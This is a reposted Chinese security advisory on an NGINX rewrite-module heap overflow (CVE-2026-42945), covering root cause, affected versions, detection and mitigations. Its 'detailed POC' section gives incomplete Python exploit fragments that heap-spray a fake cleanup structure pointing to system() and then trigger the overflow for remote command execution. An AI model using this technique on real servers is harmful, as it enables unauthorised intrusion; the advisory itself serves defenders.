【高危漏洞预警】NGINXngx_http_rewrite_module堆缓冲区溢出漏洞(CVE-2026-42945)

admin 2026-05-16 05:24:49 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档披露NGINXngxhttprewrite_module堆缓冲区溢出漏洞(CVE-2026-42945),影响0.6.27至1.30.0版本。漏洞源于处理含未命名PCRE捕获组和问号的rewrite指令时标志位管理错误,导致堆溢出可能引发进程崩溃或远程代码执行。文档包含漏洞原理、受影响产品列表、检测方法,并提供升级补丁、配置调整、系统加固等缓解措施。 综合评分: 85 文章分类: 漏洞分析,WEB安全,应急响应,安全工具,解决方案


cover_image

【高危漏洞预警】NGINX ngx_http_rewrite_module堆缓冲区溢出漏洞(CVE-2026-42945)

jufeng jufeng

飓风网络安全

2026年5月14日 17:39 北京

在小说阅读器读本章

去阅读

漏洞描述:

NGINX是一款高性能、轻量级的开源Wеb服务器与反向代理服务,广泛用于静态资源托管、负载均衡、API 网关、缓存加速等场景支持 HTTP/HTTPS、WеbDAV、HTTP/3 等多种协议,具备高并发、低资源占用、模块化扩展等特性是全球互联网主流的服务端基础软件,被政企、云厂商、互联网企业大量部署,nɡх_ http_rewrite_module是NGINX的核心内置模块,用于基于PCRE 正则表达式动态修改请求URI、实现URL重写/重定向、条件路由及变量操作,该漏洞源于处理特定rewrite 指令时,由于内部标志位管理错误导致堆缓冲区分配长度与实际写入长度不一致,从而引发堆缓冲区溢出未经身份认证的攻击者可通过发送构造的HTTP请求触发漏洞,造成Worker 进程崩溃,在特定环境下还可实现远程代码执行,该漏洞影响自0.6.27至1.30.0的绝大部分NGINX版本已在代码库中存在长达18年

攻击场景:

攻击者可能利用发送特制的HTTP请求对系统进行攻击,具体而言当rewrite指令后跟随rewrite、if或set指令,且使用了未命名的Perl兼容正则表达式(PCRE)捕获组(如 $1, $2),同时替换字符串中包含问号(?字符时,触发内存处理错误,未经身份验证的攻击者可利用此条件触发 NGINX 工作进程的堆缓冲区溢出

漏洞根源在于 NGINX 脚本引擎的两遍执行流程逻辑缺陷:

NGINX 在处理重写规则时,会执行两个独立的阶段:

长度计算阶段:计算最终重写后的 URI 所需的缓冲区大小

数据拷贝阶段:将实际数据拷贝到预先分配的缓冲区中

问题出在is_args标志位的处理上:

当重写替换字符串中包含问号?时,ngx_http_script_start_args_code函数会将主脚本引擎的e->is_args标志位设置为 1,并且永远不会重置

然而,在长度计算阶段,NGINX 会创建一个全新的、已清零的子引擎来计算长度,此时is_args = 0,因此ngx_http_script_copy_capture_len_code函数会返回捕获组的原始字节长度

在数据拷贝阶段,NGINX 使用的是主引擎,此时is_args = 1,因此ngx_http_script_copy_capture_code函数会调用ngx_escape_uri函数,以NGX_ESCAPE_ARGS模式对捕获组内容进行转义

示例:易受攻击的 NGINX 配置

server {

    listen 80;

    server_name example.com;

   # 第一个rewrite:包含未命名捕获组和问号

    rewrite ^/api/(.*)$ /index.php?path=$1 last;

   # 第二个指令:set(也可以是rewrite或if)

    set $foo “bar”;

     location / {

        root /var/www/html;

        index index.php;

    }

}

修复后的配置:

rewrite ^/users/(?[0-9]+)/profile/(?

.*)$ /profile.php?id=$user_id&tab=$section last;

批量检查易受攻击的配置:

搜索所有包含未命名捕获组和问号的rewrite指令

grep -r “rewrite.*\$[0-9].*\?” /etc/nginx/

影响产品:

1、 1.0.0 <= NGINX Open Source <= 1.30.0

2、 0.6.27 <= NGINX Open Source <= 0.9.7

3、 R32 <= NGINX Plus < R32 P6

4、 R36 <= NGINX Plus < R36 P4

5、 2.16.0 <= NGINX Instance Manager <= 2.21.1

6、 5.9.0 <= F5 WAF for NGINX <= 5.12.1

7、 4.9.0 <= NGINX App Protect WAF <= 4.16.0

8、 5.1.0 <= NGINX App Protect WAF <= 5.8.0

9、 F5 DoS for NGINX 4.8.0

10、 4.3.0 <= NGINX App Protect DoS <= 4.7.0

11、 1.3.0 <= NGINX Gateway Fabric <= 1.6.2

12、 2.0.0 <= NGINX Gateway Fabric <= 2.5.1

13、 3.5.0 <= NGINX Ingress Controller <= 3.7.2

14、 4.0.0 <= NGINX Ingress Controller <= 4.0.1

15、 5.0.0 <= NGINX Ingress Controller <= 5.4.1

详细POC

def make_body(cmd, data_addr):

    # 构造伪造的ngx_pool_cleanup_s结构体

    # 第一个字段是cleanup函数指针,指向system()

    # 第二个字段是传递给cleanup函数的参数,指向命令字符串

    fake_struct = struct.pack(‘<QQQ’, SYSTEM_ADDR, data_addr, 0)

    cmd_bytes = cmd.encode(‘utf-8′) + b’\x00’

    payload = fake_struct + cmd_bytes

    return payload + b’\x41′ * (BODY_LEN – len(payload))

def attempt(host, port, target_bytes, body):

    # 喷洒20个包含伪造结构体的POST请求

    sprays = []

    for i in range(N_SPRAY):

        s = socket.create_connection((host, port), timeout=5)

        req = (

            b”POST /spray HTTP/1.1\r\n”

            b”Host: l\r\n”

            b”Content-Length: ” + str(BODY_LEN).encode() + b”\r\n”

            b”X-Delay: 60\r\n”

            b”Connection: close\r\n”

            b”\r\n”

            + body

        )

        s.sendall(req)

        sprays.append(s)

        time.sleep(0.005)

     # 触发堆缓冲区溢出,覆盖cleanup指针

    payload = “A” * 349 + “+” * 969 + target_bytes.decode(“latin-1”)

    a.sendall((f”GET /api/{payload} HTTP/1.1\r\n”

               f”Host:localhost\r\n”).encode(“latin-1”))

检测方法:

1.检查NGINX配置文件(nginx.conf及include文件)中是否存在包含$1、$2等未命名捕获且带有问号的rewrite规则

2.监控NGINX错误日志中是否出现工作进程异常重启或内存错误

3.使用流量分析工具检测异常的HTTP请求模式。

利用条件:

在 Nginx 的配置中,必须存在一个 rewrite 指令,并且该指令同时满足

  1. 使用了未命名的 PCRE 正则捕获(例如 $1, $2 等)

  2. 其替换字符串中包含问号(?)

  3. 在此 rewrite 指令之后,紧跟着另一个 rewrite、if 或 set 指令

建议措施:

升级补丁:最直接的缓解方案是参考 F5 Networks 官方文章(K000161019),将 NGINX Open Source 或 NGINX Plus 升级至官方提供的最新修复版本。

配置调整:如果暂时无法升级,建议审查 NGINX 配置文件,避免使用包含问号(?)作为替换字符串的一部分,并结合未命名 PCRE 捕获组的复杂 rewrite、if 或 set 指令组合。

系统加固:确保服务器操作系统启用了 ASLR(地址空间布局随机化)保护,以增加利用堆溢出进行代码执行的难度。

WAF 防护:在 Web 应用防火墙中部署规则,拦截包含异常正则表达式替换模式的恶意 HTTP 请求。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:飓风网络安全 jufeng jufeng《【高危漏洞预警】NGINX ngxhttprewrite_module堆缓冲区溢出漏洞(CVE-2026-42945)》

评论:0   参与:  0